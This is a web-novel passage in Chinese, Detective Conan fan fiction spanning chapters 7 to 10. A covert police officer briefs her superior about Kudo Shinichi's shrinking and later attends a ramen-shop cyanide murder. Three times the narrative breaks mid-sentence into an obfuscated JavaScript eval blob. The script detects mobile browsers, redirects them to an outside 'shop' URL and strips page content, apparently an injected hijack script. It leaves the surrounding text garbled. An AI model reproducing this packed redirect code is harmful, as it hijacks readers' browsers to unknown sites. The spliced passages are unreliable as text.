《柯学特工指南》 7. 第七章 第二天依然是个阴天。 星野真弓出门时只拎了一只黑色托特包,里面沉甸甸地装着文件。 她披着大衣,中跟鞋在地下停车库发出有力的回响。 她每周只去一次修理店,其余时间都不太出门,日常就是待在公寓里工作,偶尔去警察厅开会。虽然今天没有安排会议,她还是决定去警察厅一趟。 星野真弓一边向停车场角落走去,一边从包中掏出车钥匙。 她的座驾是一辆兰博基尼Aventador,漆黑如蝠翼,车身低矮,紧贴地面,底盘遍布巨大的进气口,锋利的流线车型和未来感十足的设计使得它在停车场里鹤立鸡群。 不过这里是新宿黄金地段的公寓大平层,地下停车场里虽然不至于遍布这个价位的跑车,但也算豪车遍地,Aventador停在里面并没有太过突兀。 兰博基尼惯以斗牛的名字命名跑车,Aventador是西班牙斗牛界最勇猛的斗牛之一。 星野真弓买下它却只是单纯因为跑车两门两座的设置,车是应该被她完全掌控的东西,她不喜欢和别人共享私密空间。 她关上车门,俯身拉开侧坐前的置物柜,伸长胳膊摸索片刻后,从里面翻出一把手/枪。 她花了十分钟检查这把手/枪的弹道和膛线,随后才启动发动机,驶出停车场。 东京都错落有致的天际线下,警察厅大楼静静隐藏在霞关林立的政府机关间。 黑色跑车轰鸣着从后门绕进内院,平缓驶进地下停车库。刚从蝠翼般扬起的车门下出来,星野真弓就看到一个老熟人。 她拎着包,步伐没有停顿。 不远处的青年似乎也很敏锐,立刻向她看过来。 “哟,星野桑。”长谷川诚警视靠在车门上对她点头,手里还捏着一个开了封的三明治。 他一边鼓着腮帮子吃三明治,一边单手在手机上回着邮件。 “早。”星野真弓扫了他一眼,“你昨晚没回去?” “别提了,最近一周都睡在办公室。”长谷川诚发完最后一条讯息,眯眼打了个哈欠。 他脸上挂着黑眼圈,很明显熬了不止一夜,衬衫领口半开,连领带都没系,整个人十分散漫,散发着一股浓浓的社畜气息。 “下个月就要参议院选举了,全组的人都在集中监控国会动向,我现在连自明党*党国会对策委员长每天晚饭吃几粒米都知道得一清二楚。” 他已经三两口解决了三明治,显然是大清早匆匆去外面便利店买的。 “他不是有糖尿病吗?他夫人去世蛮久了,应该都是做营养师的儿子在管吧。”星野真弓同他一起向电梯走去,从包里掏出一张卡刷开电梯门。 他们坐的不是一般通用电梯,而是特殊人员专用通道,必须用密钥解锁。 “所以答案是一粒也不吃——真亏你能记得他有糖尿病。”长谷川诚按下22楼,又替星野真弓按下23楼,“过两天该开全国警备关系课长会议了吧,你还是不出席吗?” “太忙了,没时间。警备局会有其他人主持会议,警备企划课的新课长刚刚上任,就让他出风头去吧。”星野真弓和他并肩站着,看着手机,单手打字,头也不抬,“想让我一边忙[零]组的事一边去开这种没盐没油的会,警察厅给我开的工资至少应该再加这个数。” 她竖起两根纤长的手指,在长谷川诚眼前晃了晃。 后者对她的回答也算意料之内,长谷川诚懒散地笑了两声,从西装口袋里掏出领带,对着电梯内的镜子三两下打好,又理理头发,没几秒就变回了公安精英的样子。 星野真弓嘲讽:“你该不会是不想被下属看到自己加班后颓废的样子才躲在停车场吃早饭的吧?” “永远保持有条不紊可是领导的责任,这点你比我清楚吧,星野警视。”长谷川诚对她眨了下右眼,转身迈进22楼的走廊。 电梯缓缓合上,走廊上的几行小字也消失在视野里。 【警备企划课综合情报分析室·警备企划课7系·外事情报科】。 这三个部门似乎同属一层,因为都负责情报,所以看着也不突兀。 警备局警备企划课下属的各个分室都有自己的名字,如果某个部门只有数字代号,就意味着他们只是一个挂靠过来的秘密单位,通常直接对更上层的管理官进行汇报,实际负责的事务连警视总监级别的人员都无权插手。 长谷川诚警视是[零]组的协同单位、负责管理调查全国政治情报的秘密小组I·S的组长。 I·S是“IntegratedSupport”(综合支援)或“IntelligenceSupport”(情报支援)的简称。他们在公安系统内部还有一个别称,“07”。全国各各都道府县警设置的IS部门所掌握的政治情报都汇聚到他手中,由他直接对警察厅厅长和国家公安委员会负责。 不过在必要的时候,他也照样会面不改色地挖掘国家公安委员会会长本人的密辛。作为国家机器麾下的一条猎犬,长谷川诚无所不知。 电梯发出“叮”的一声,另一条猎犬、星野真弓抬脚往前走去,她路过写着【情报第二担当里理事官办公室·警备企划课国际恐怖活动对策3系·警备企划课0组】的标示牌。 三秒后,星野真弓退了回来。 她摘下墨镜,把那张标示牌仔细从头读了一遍,盯着那个突然冒出来的“警备企划课国际恐怖活动对策3系”看了半晌,又戴上墨镜走了。 她走进黑田兵卫的办公室时正好撞见新上任的警备企划课课长,后者怒气冲冲地摔门出来。那是个看上去就脾气不太好的中年男人,看到她走近立马瞪了她一眼。 星野真弓莫名其妙被迁怒,挑了挑眉,决定把这笔账算在里头那个瞎了一只眼的老头身上。 她还没抬手敲门,里面那位就说了一声“进来吧”。 “管理官。” 星野真弓一边关上门一边对黑田兵卫点点头,她摘下墨镜塞进包里,毫无寒暄的意图,直接抽出一份资料递给黑田。 “113号的死亡报告你应该已经收到了,我们正在寻找替代他的人选。” 两人都是不说废话的性格。黑田兵卫点头,低头看她递来的资料。 “确定113号的死亡没有第三方势力干扰吗?” “[零]组还在逐步排查,后天萩原会去出席他的葬礼,如果存在没有来得及上报的信息,他会负责带回来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459034|141648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 黑田兵卫对她手下的能力绝对放心,便不再过问。 “宫野姐妹提供的名单呢?” “也在逐步排查,这件事我不想让外事情报课插手,所以速度势必会慢一些。” “你是在怀疑外事情报课课长?”黑田兵卫挑眉。 星野真弓轻笑一声,她抬步走到落地窗边,俯视东京的天际线。 这座城市上空似乎浮着一团阴云,沉沉地压在每个人头顶。 “三个月前我们协助宫野姐妹叛逃组织,没有向任何机构透露是日本公安接手了她们,除了内部问题,组织不可能有渠道知道这件事。然而二十天前前任警备企划课课长森谷贞一突然无故死亡,现场被伪装成突发疾病意外去世,明显是组织惯用的手法。” 她顿了顿,意味不明:“下个月就是国会参议院选举了,你会联想到什么?” “你清楚我的作风。我不只怀疑外事情报课,我怀疑整个警备局,包括那位新上任的警备企划课课长。” 黑田兵卫摘下眼镜擦了擦,半晌道:“森谷贞一被杀害的原因到现在都没有被调查出来,时间不多了,这件事本来是警备企划课自己内部负责,但他们显然已经不值得信任,长官的意思是,这件事由你来接手。” “......” 星野真弓转过身。 “我已经在让松田做初步的内部排查了,但是只有他的话,我人手不够。前天警备企划课课长刚刚秘密抓捕森谷贞一的生活秘书,如果不想打草惊蛇,你最好想个不错的借口。” “那个少年黑客呢?” “他只是编外人员,我好不容易从FBI手里把他抢下来引渡回日本,不是为了压榨他做童工的。”星野真弓说,“现在这个时间点他应该已经去东京大学报道了。” “......那么正好,”黑田兵卫沉默了一会儿,“我今天本来就有事要找你。” 他拉开抽屉,抽出一份放在密封袋里的文件。 “是外面那个新牌子?”星野真弓毫不意外。 “三年前我们曾经考虑过这个计划,不过那时......出了意外,整个警察系统都在混乱之中,所以暂停了。”黑田兵卫说,“但是现在,我和警察厅厅长共同认为是重启的最好时机。” 星野真弓接过那份文件,翻动纸页,一目十行。 “三个月时间,你亲自挑人。松田和宫崎本来就是你的人,你的其他部下里也不乏人才,剩下的全国警察本部、整个警察厅随你挑选,只是尽量低调——应该不需要我来提醒你它的保密性质。”黑田兵卫顿了顿,“组建好之后记得跟你的‘上司’汇报。” 星野真弓依旧在低头翻着文件,闻言淡笑,“我的‘上司’还在享受加州海岸的阳光,没空搭理国内的事。” “关于这个......我在文件里也写了具体的安排。” 两人心照不宣这个话题就该到此为止了。 黑田兵卫双手交握,面露严肃:“你今天过来应该不只是为了这件事吧。” 星野真弓的表情没有变化,她将密封袋放回包里,又抽出另一份文件。 黑田兵卫接过,一怔。 他抬起头:“工藤新一?” 8. 第八章 他看向对面的女人:“我记得他在宫野志保提供的APTX4869的死亡名单上。” 星野真弓点头:“推算时间,他应该在五个月前服下药物,那之后他的高中出勤记录就一直空缺,他父母必然知情。但是,他周围其他人似乎都对此一知半解,只以为他去了外地。” “我曾经以为这是他父母散布的谎言,但公安调查过最近的不明原因死亡案件,没有和他相似的尸体被发现,他的社保系统也一直没有出现异常记录。” “仔细想想,工藤夫妇也没有必要撒这样的谎,伪装一个死人还活着比直接举办葬礼要麻烦得多,虽然我们知道组织不会在意这种已经被认定死亡的普通人,但他们没那么清楚组织的作风,第一反应应该是藏好工藤新一还活着的消息。” “在这个前提下,如果其他熟人依旧真情实感地认为他还活得好好的,那就不可能仅仅是因为工藤夫妇的保证,必然是因为他们依然可以通过某种手段联络工藤新一,比如通话或者短信。” “既然如此,那就只有一个可能了。” 黑田兵卫抬起头:“他没有死,而是躲起来了?” “宫野志保只给我们提供了名单,其他情报不愿意透露,我们已经有羽田浩司案这一个没扫干净尾巴的意外了,工藤新一有可能是第二个。”星野真弓顿了顿,“所以我拜托研二稍微观察了一下。” 黑田兵卫知道她的摩托车修理厂,对此不甚意外。 “工藤新一是标准的中产阶级独生子,父母是社会名流,感情恩爱,家庭和睦,不缺爱也不缺钱,接受了良好的教育和培养,接触的都是正派人士,聪明而且天赋不错,性格有点自傲莽撞,但他又是个正直的理想主义者。” “他最后一次明确出现在监控范围内是五个月前和青梅竹马毛利兰一起去游乐园约会,我查过了,这是偶然事件,他们约定去游乐园玩是因为毛利兰赢得了关东地区空手道大会的冠军,她并不是唯一的强力选手,赢得冠军有偶然因素。”星野真弓道。 “他在游乐园的行为表现也很正常,没有人在跟踪他。所以杀死他并不是黑衣组织的本来目的,或者说,他们并没有计划这样做。”她顿了顿,“工藤优作在警视厅和ICPO(国际刑警)确实都有些朋友,但应该还没到会莫名其妙惹得自己独生子被报复的地步。” “排除以上可能后,我倾向于认为他服下APTX4869是意外。游乐园当天发生了谋杀案,案件的解决人是工藤新一,在案件现场的监控中出现了组织的琴酒和伏特加,对工藤这样的少年侦探来说,那两个人恐怕就跟白纸上突然多了两滴墨点一样显眼吧。” “而且,根据事后在那附近的走访调查,游乐园附近交番的巡查报告说那天晚上曾经捡到过一个穿着大人衣服的小孩,看起来只有七岁左右,一直嚷嚷着‘有坏人在走私枪械’‘有人在敲诈勒索’之类的话,他们当时都以为是这个小孩动画片看多了,没有多想。” “没过几分钟那个小孩就自己从交番溜走了,他们事后也没有再刻意寻找。昨晚我已经连夜让神谷走了一趟,押着这几个小警察签完了保密协议。” 黑田兵卫看了她一眼。 星野真弓继续道:“如果那个小男孩就是变小的工藤新一,他可能在跟踪琴酒的过程中不小心探听到了一桩交易。警视厅公安部最近接到举报铲除了某个走私枪械的地下窝点,不过他们在海关和港口埋的钉子到底是没挖出来。这件事上报之后被我们内部判断为组织的手笔,他们先敲诈走私犯一笔钱,然后把他卖给警方,顺手牵羊吞下对方留下的运输线路。” “工藤新一大概就是因为目睹了这起敲诈交易而被灭口的。组织不会允许警方或者普通人轻易知道第三方势力的存在,但他们没想到这次使用的那枚毒药出现了意外。” 黑田兵卫道:“宫野志保是目前唯一一例服药后身体缩小的案例,她故意服下药物是因为此前多次动物实验中出现了类似的身体缩小的情况,所以才能以此为灵感对她服下的那粒药进行一定改造,确保自己不会意外身亡。你的意思是工藤新一也出现了同样的情况?” “是的,宫野志保是故意为之,但工藤新一可能是真正的意外。”星野真弓点头,“宫野志保的性格很谨慎,那份死亡名单上近期的名字确实都是她亲自确认的,她不可能没有察觉。她有可能早就意识到工藤的特殊案例,才会相信APTX4869真的具备让人类身体缩小的功能。否则仅仅只有动物实验作为先例的话,她不会主动向我们提出这个计划,这太冒险了。” “我之前就很疑惑她为什么能够肯定自己服药后不会出现意外,不过人家毕竟是这个领域的顶尖专家,我就没有深究,现在想来她肯定从一开始就想向我们隐瞒工藤新一的情况。” “我猜她是想尽可能为自己留下更多底牌,以免出现我们也不可信的情况。她13岁之前都在外国留学,一直活在组织监控下,本身又是混血,对日本警方没有足够信任是正常的。而为了把控好这张底牌,她现在必然停留在能够直接接触到工藤的地方。” “工藤新一现在在哪里?”黑田兵卫问。 “工藤失踪后一天,毛利兰父亲的事务所突然出现了一个叫江户川柯南的小孩子,你觉得这会是巧合吗?”星野真弓说,“那孩子跟工藤七岁时候的长相一模一样,浑身上下散发着藏都藏不住的聪明味,在我们这种猎犬面前晃的时候就像黑夜里打手电一样明显。” “宫野志保缩小之后借住的那个独居老人家就在工藤宅隔壁。据她所在小学老师的反应,她和江户川柯南关系还不错,这不符合我们对宫野志保性格的初步侧写——除非他们两人之间有某种特殊关系,比如盟友或者同病相怜的受害者。” “我当初同意她住在那里是因为阿笠博士曾经为警视厅当过科学顾问,多少和警察系统有点关联,现在看来她选择那里确实有特殊原因。” 办公室沉默下来。 星野真弓的神情却放松下来,她舒展了一下手臂,语调又恢复了懒洋洋的感觉。 “不过我只是来汇报一下这件事,昨天那个男孩来店里的时候留下了指纹,比对结果当天晚上就出来了,这才是决定性证据。” 她看向窗外。 “宫野志保既然不希望我知道这件事,那我就假装不知道吧。她才刚脱离组织没多久,心理创伤都还没痊愈,适应正常人的生活才是当务之急,还是不要给她多事了。” 黑田兵卫皱眉:“你和工藤新一认识吧?他会因此发现你的身份吗?” “我的真实身份是警察这件事本来就只对普通民众保密,在警备企划课内部和各国情报机构那里没有刻意隐瞒,他如果非要调查,以他父亲的人脉也不是不可能查到,不过具体部门、职位、权限应该就查不到了。” “但是这几天观察下来,他意外的是那种不希望把其他人牵扯进自己私事的谨慎性格——明明追上去跟踪组织交易现场的时候那么莽撞。我想宫野志保也没有想到自己找到的同盟恐怕也不愿意事事跟她透露吧。” 黑田兵卫点头:“独生子家庭的小孩,和其他人有距离感很正常,他的成长经历中基本没有出现过重大挫折,又因为父母而深受欧美个人英雄主义文化影响,这个结果不令人意外。” 星野真弓眯了眯眼:“所以我在思考要不要对工藤新一进行进一步接触。他贸然调查组织可能会引来危险,昨天指纹比对出来后,我就立刻派人去专门负责保护他了,接下来我可能会对他做一些深入评估。” “他已经卷进组织的事,不对他采取措施是不可能的,但你知道我一直都很爱惜少年人才,他的性格和才能会决定我到底会选择让他全家签一份保密协议秘密送出国,还是对他开放一定的情报权限。别忘了,扎克利·宫崎的引渡方案一开始是我提出的。”她对黑田兵卫微微一笑,“警视厅也确实欠缺他这种复合型人才。” 黑田兵卫略带复杂地看了她一眼,介于他自己在警视厅也有个表面身份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459035|141648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,最终还是没附和她不客气的评价。 他把工藤新一的资料递还给星野真弓,“那么这件事就交给你了。另外还有一件事。” 他的声音变得冰冷:“关于MI6的动向,你有收到防卫省情报本部(DIH)那边的消息吗?” . 星野真弓重新搭乘电梯下楼的时候已经接近黄昏,她在黑田兵卫办公室谈了一上午事情,中途随便吃了个饭就又被叫去参加了个临时会议,忙完才发现太阳都快下山了。 乘电梯的时候她又碰见了长谷川诚,对方向她抱怨了一通,说警察厅最近新订购的直升机全被其他部门分走,他一架也没抢到。 星野真弓抽了抽嘴角,反问他调查首相哪瓣屁股上长了颗痣居然还需要动用直升机吗? 长谷川诚不甘心地嚷嚷,说你怎么知道首相右半边屁股上有颗痣,而且别以为我不知道新来的6架AH-64D直升机被你的新部门分走了3架! 星野真弓并不意外他知道自己即将负责组建一个新部门,只要是内部系统的事情,长谷川诚什么都知道。 她只是有些意外,黑田兵卫对这个新部门还真是重视。 长谷川诚是文职人员,自然不会在意这种细节,但星野真弓很清楚,日本境内的AH-64D阿帕奇武装直升机总共估计都没超过二十架,警察厅直接给她送了三架,弄得她都有点跃跃欲试想开一架撞着玩。 她没有表露自己的想法,只是露出一个淡淡的笑:“真是抱歉,三架直升机,如果阵平和我各一架,剩下那架我必然会再配一位专业驾驶员,保证不浪费国家批下来的装备。谢谢你提醒我了,长谷川警视。” 长谷川诚一怔,忍不住吼道:“你这家伙是魔鬼吧!” 在长谷川诚幽怨的眼神中,她施施然坐进车里,一脚油门离开了霞关。 日落时分,乌云似乎散去了。下坠的太阳落在东京都立交桥两边鳞次栉比的大厦立面上,一尘不染的高楼玻璃反射出鱼鳞般的光波。 开下高架的时候她看见不远处互相交汇的地面铁轨,错落的电线在夕阳的照耀下蒙着一层淡淡的金色。似乎被那抹金色触动了什么回忆,她眯着眼难得放空了一会儿。 不远处的商圈已经开始亮起夜间的霓虹灯,黑色Aventador在交相映照的炫彩中向前驶去。 真好啊。和平的城市,和平的一天。 在涩谷兜了几圈都没想好该吃什么之后,星野真弓终于放弃,拨通了萩原研二的电话。 “研二,拜托了,请随便告诉我一个餐厅的名字,出现在你脑海里的第一个就行。” 摩托车修理厂里,萩原研二放下手里的扳手,眨眨眼睛,“你是要我给你推荐晚饭吗,Mayu酱?” “随便哪个都行。”星野真弓微眯着眼看着不远处的红灯缓缓停下车,开了个玩笑,“拜托了,研二,我有进食选择恐惧症,你知道的。” “唔......既然如此,我记得好像有一家叫做【好吃得要死的拉面】的餐厅。”萩原研二笑了笑,“那里的拉面真的很不错哦。” 星野真弓却敏锐地察觉到不对。 “真的是因为拉面好吃吗?”她打开导航,“那里离米花町很近,你这家伙不会在计划让我加班吧?” “感谢你对我工作的认可。”萩原研二声音里带着促狭的笑意,“毛利先生一行人刚刚出门去那家餐厅,难道你不想过去看看吗?放心,我查过了,今天警视厅搜查一课在米花町附近聚餐,如果出什么事会一秒出警的。” “......” 星野真弓默了半晌。 她一踩油门调转车头:“知道了。” 半晌又恶狠狠地说:“后天佐佐木葬礼,你要是什么都找不到就等着扣工资吧!” “是是,拜拜Mayu酱~”萩原研二心情愉悦地挂断了电话。 他伸了个懒腰。 虽然做不了警察了,但是这种生活还蛮不错的嘛。 9. 第九章 星野真弓走进“好吃得要死的拉面店”的时候,毛利一家已经落座了。 她刚刚猛踩油门飙了十分钟车,头发丝儿都带着点肾上腺素飙升激发的火气,走进餐厅摘下墨镜后先理了理长发才对上毛利一家看过来的视线。 不只有毛利一家在看她。对于这家空间不算大的店面来说,突然走进来一个飒气十足的高个女性引得几乎所有客人瞩目。她的眉目太过凌厉,客人们呆了一会儿,又纷纷心虚地移开视线。 毛利兰半晌才反应过来:“啊,星野小姐!” “哈——唔?”一口气灌完一杯啤酒的毛利小五郎一眼看到她,立马兴奋起来,“星野小姐!你也来这家店吃拉面吗?” 星野真弓像是刚刚才发现他们,走过来露出微笑:“是啊,真巧。” 她扫过坐在原地的毛利一家三口,看向最后一个陌生的女人:“这位是?” “这位是警视厅交通部的宫本由美警官,她也是来这里吃晚饭的,我们就干脆一起了。由美桑,这位是我们家隔壁摩托车修理店的店长,星野真弓小姐。”毛利兰善解人意道,“星野小姐,你是一个人来吗,要不要跟我们一起?” 星野真弓不动神色地对宫本由美笑了笑:“请多指教,我是星野真弓。” 她又看向毛利兰,“我是一个人,你们方便再加个位子吗?” 江户川柯南稚气的声音忽然响了起来,“星野姐姐,你坐我旁边吧。” 他眨眨眼,“我占的位置不多,刚好坐得下。” “谢谢柯南君。”星野真弓坐了下来,和宫本由美一起把柯南夹在中间。 “可恶,你这小鬼,我看你是故意想坐在两位美女中间的吧!”毛利小五郎似乎已经有些醉醺醺的了,说完又开了一瓶啤酒。 “毛利先生谬赞了哈哈哈哈哈哈!”宫本由美似乎也是豪爽的性格,她抬起手跟毛利小五郎干杯,两人一齐豪饮。 “爸爸,你少喝点——”毛利少女似乎想劝父亲,又怕星野真弓尴尬,有些歉意笑了笑,“抱歉,星野小姐,我爸爸他一直都这样……” “哈哈哈,没事,我也是个酒类爱好者哦。”星野真弓翻开菜单,抬头对一边的侍者说,“要一份地狱拉面,加倍辣的那种。再来一杯啤酒,谢谢。” 侍者点头走远了,江户川柯南收回视线,抬头看向星野真弓:“星野姐姐和叔叔一样喜欢喝啤酒吗?” 星野真弓低头对上小侦探的钻蓝色眼睛,不禁一笑:“不是哦,我比较习惯喝烈酒。” “烈酒?”柯南一愣,“威士忌那样的吗?” 他瞬间警惕起来。相比普通的啤酒,度数更高的烈性蒸馏酒几乎已经对他造成了心理阴影,他这几个月一直在恶补酒类知识,都快形成条件反射了。 “苏格兰、黑麦、爱尔兰、波本,全都会喝,我最喜欢的是EarlyTimesOldReserve的肯塔基波本威士忌,那个牌子很正宗。四玫瑰波本也不错。烈酒是社交的助推器,不过我猜拉面店应该不会供应威士忌吧,所以才点了啤酒。”星野真弓垂头看向有些愣住的柯南,“抱歉,忘了这种话题柯南不会感兴趣吧。” 柯南一怔,笑着摇摇头:“不会哦,我对酒还挺好奇的!” “柯南,你现在离法定饮酒年龄还差很远哦。”毛利兰摆出认真的神情,“就算爸爸经常喝酒,你也千万不能学他!” “没事啦小兰,小孩子尝一点也没关系的——”宫本由美晕乎乎地嗦了口面,“柯南君,你要不要尝一口姐姐的酒呀?就一口哦!” “诶?”江户川柯南引火烧身,立刻开始打哈哈,“不、不用啦由美姐姐……啊,星野姐姐的拉面来了!” 众人立刻被他转移了话题,都去看那碗被加了超量辣度的地狱拉面。 “星野小姐,你好会吃辣啊……”毛利兰看着星野真弓面不改色地抄起筷子,“而且吃得好快——” “可能是遗传自我母亲的吧。”星野真弓眨眨眼睛,“这家店的拉面确实不错嘛——老板,麻烦再来一碗面!” 不远处传来老板的应声,众人收回视线的时候星野真弓面前的碗居然都快见底了。 “好、好快......而且那么多辣椒,居然完全没有被辣到。”毛利小五郎张大嘴巴,“星野小姐是个狠人啊……” 星野真弓被他逗笑了,她放下筷子。 “毛利先生,毛利小姐,还有宫本小姐,柯南君也是,你们可以直接叫我名字的,比起姓氏我更喜欢我的名字。” “啊,好的,那我可以叫你真弓桑吗?”毛利兰眨眨眼。 “可以呀,小兰。” 江户川柯南乖乖嗦了一口面:“为什么比起姓氏更喜欢名字呢?” “说起来,真弓桑的名字是亚麻的那个麻由美,还是真实的真由美?”宫本由美跟他神同步,也嗦了口面。 热呼呼的拉面被卷进了肚,一大一小一齐发出一声满足的喟叹。 “不是哦,我的名字是这两个字。” 星野真弓用筷子根部沾了沾啤酒,在桌面上写下汉字“真弓”。 “‘真弓’是我母亲取的名字。她是弓道高手,希望我也能成为一往无前的利箭,大概是这样饱含祝福的名字,所以我一直都好好珍惜着。”她说道。 “弓道高手,好厉害。”毛利兰一怔。 “那真弓桑你也会弓道吗?那种要穿和服的、拉长弓的……”宫本由美似乎是个自来熟的性格,已经从善如流地改了称呼。 “我会的,高中的时候我蝉联过两届全国高中生弓道大赛冠军。”星野真弓对她笑了笑。 全国冠军,好厉害……任何事情能够做到全国第一的程度,都是十足的高手了。 江户川柯南从她脸上移开视线,专注地喝了一口拉面碗里的汤汁。 他本以为佐佐木大介被害案结束后,这位星野小姐会继续像以前一样除了周三其他日子哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459036|141648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿都找不着人。在过去的三年里,这确实是毛利侦探事务所那条街的日常,因此以毛利一家的自来熟性格才会相识三年还在一直喊姓氏加敬语。 然而今天他们却在拉面馆遇到了星野真弓。看到她时,他第一反应其实是对方昨天可能真的发现了什么,特意跑来试探他,但是仔细想想,他们一家来这里吃晚饭是临时决定的,应该没有其他人知道才对,就算是特意跑来堵人,星野真弓的效率未免也太高了吧…… 变小的名侦探没有想到自己身后早就跟了一串公安,而在毛利侦探事务所隔壁打工的萩原研二前警官观察力比这一连串公安还要敏锐几分,光靠着他们出门时的着装和最近被挨家挨户塞到这条街的拉面馆传单就能直接推理出他们的去处。虽然也靠着相识三年来对他们一家性格的了解作了弊,但萩原研二的业务能力还是明显超过了江户川柯南平时接触的普通刑警。 江户川柯南在想完这一连串之后原本暂时放下了警惕心,可是听完刚刚的对话后又总感觉怪怪的。 星野真弓是这样的人吗?愿意毫不吝啬地分享自己的事情......她应该是一个边界感很重的人才对,摩托车修理厂的萩原哥好像跟她工作了三年都没处成私人朋友,“萩原君”,她是这样称呼萩原研二的。以萩原研二的社交能力这已经算是意外中的意外了。 还是说她今天晚上是故意的?总觉得靠敞开自我来拉近关系的意图很明显。 还没等小侦探思考出个所以然来,桌上的拉面经过一顿风卷云残已经被收拾得接近尾声了。未成年的毛利兰点了果汁,剩下三个大人喝着啤酒,一边碰杯一边聊到了最近网上的某个热门话题,气氛热热闹闹的,没有再提星野真弓本人。 ……大概是错觉吧。 在拉面烟气的蒸腾下,江户川柯南的思绪也平静了下来。他慢吞吞地拨开笋干,吞下碗里最后一口拉面。 嚼着嚼着他的思绪又开始发散。大概是侦探大脑一刻也没办法闲着,他又开始回想起刚刚几人聊到的话题。 总觉得星野真弓对名字的态度很奇怪,一般来说,日本人的姓氏继承自父亲。如果她的名字是母亲取的,而她对名字的偏爱是因为对母亲的纪念,那么对属于父亲的姓氏、乃至父亲本人的态度难道是排斥吗?还是说单纯不喜欢父系那边的家族? 星野真弓看起来资产丰厚,她今天穿的这件大衣似乎也价值不菲,坚持练习弓道还能拿下竞技比赛的名次也不是一个低成本的爱好,但是东京有什么姓星野的名门望族或者大公司吗? 他瞥了一眼星野真弓的右手,此前他就注意到过那上面淡淡的痕迹和薄茧,那些薄茧有使用修理工具留下的痕迹,也有很多处来源不明。他还猜测过是不是因为握枪造成的,没想到原因是练习弓道,难怪指节弯曲的地方痕迹那么深。 小侦探的思路走到了尽头,他晃晃脑袋,干脆转移注意力听起了大人们的谈天。 意外就是在这个时候发生的。 10. 第十章 “宫本桑、宫本桑,你能听见我说话吗?” “…...?Zzzzzz......” 一片混乱中,好像有人在宫本由美边上叫喊,声音却像被耳膜阻隔在外一样一团模糊。 她整张脸通红,半个身子趴在桌子上,半梦半醒间又睡了过去。对面和她差不多状态的毛利小五郎则靠在餐厅的墙壁上,已经打起了呼噜。 星野真弓看着他们俩,无言了一会儿,最终还是负起唯一清醒的成年人的责任,对毛利兰笑了笑,“没办法了,看样子他们两个一时半会儿醒不来……宫本桑是交通部的对吧?” “啊,对。”毛利兰一愣。 星野真弓轻声说了句“失礼”,低头拿过宫本由美的随身包翻找起来,果然找到了一张警官证。 “虽然是交通部的,但是也够用了。” 她在毛利兰和江户川柯南有些疑惑的目光中站起来,转过头对上身后餐厅里面面相觑的几人,举起了手中的警官证。 “警察。这里发生了一起谋杀案,麻烦各位暂时不要踏出那扇门,没错,说的就是你,偷家里钱来拉面馆喝酒的小子,辍学不够还想再给你母亲添麻烦吗?” 她神机妙算地逼退了一个正偷偷靠近拉面馆门口的高中生打扮的少年,在对方露出一副“你怎么知道的”惊恐表情时也没打算屈尊降贵解释一下,三两步走过去把拉面馆的大门关牢了。 “小兰,麻烦报一下警。”她转过头。 十分钟后。 在附近聚餐到一半突然被拉来拉面馆加班的目暮警官露出半月眼。 “怎么又是你们几个???” . “死者的名字叫上川多贵,32岁,房地产公司职员,今天晚上出现在这里是因为刚刚升职,和同事们来拉面馆聚餐庆祝。”高木警官尽职尽责地翻着笔记本,“死因是氰/化/物中毒,死亡时间大概是今晚七点半左右,在拉面馆当场毒发身亡。” 他站在一具坐在餐桌边的尸体旁,身后是来来往往的鉴识人员,餐厅里原本的客人都在另一边等待做笔录。 “柯南君,你有没有觉得,”星野真弓在露出思索神情的江户川柯南身边蹲下,“东京使用氰/化/钠犯罪的人还真多啊。” 江户川柯南刚刚已经把尸体检查完一轮了,正思索到一半,被她悄无声息的动作吓了一跳,差点没蹦出三丈远。 “诶?有、有吗哈哈哈,”他不知道为什么有些心虚,连忙转移话题,“星野姐姐对这起事件有什么想法吗?” 星野真弓露出思索的神情。 “......说实话,”她说,“以现场的状况,凶手只能是那个人了吧。” 江户川柯南看着她的灰蓝色眼眸一愣,半晌,他回过神来,露出一个聪明人之间心照不宣的笑容:“确实,如果想要行凶的话,只有一个人能办到。” 几步开外,高木警官还在继续念道: “和死者上川先生同桌的几人分别是他的同事喜多川小姐、大山先生、小泉先生和上杉小姐,四人的随身物品都已经检查过了,没有找到存放药物的容器。” “死者毒发身亡时,左手边坐着的是大山先生,右手边是喜多川小姐,对面分别是小泉先生和上杉小姐,从距离上来看,坐在他身边的两位更有可能神不知鬼不觉地将毒药下到他碗里……” 高木警官说到一半,一个科搜研的鉴识人员突然跑到他身边说了些什么,他一愣,露出有些疑惑的神情,“警部,上川先生的拉面碗里面没有找到□□成分。” 目暮警官眉头一皱:“碗沿、筷子、勺子,这些上面都没有?” 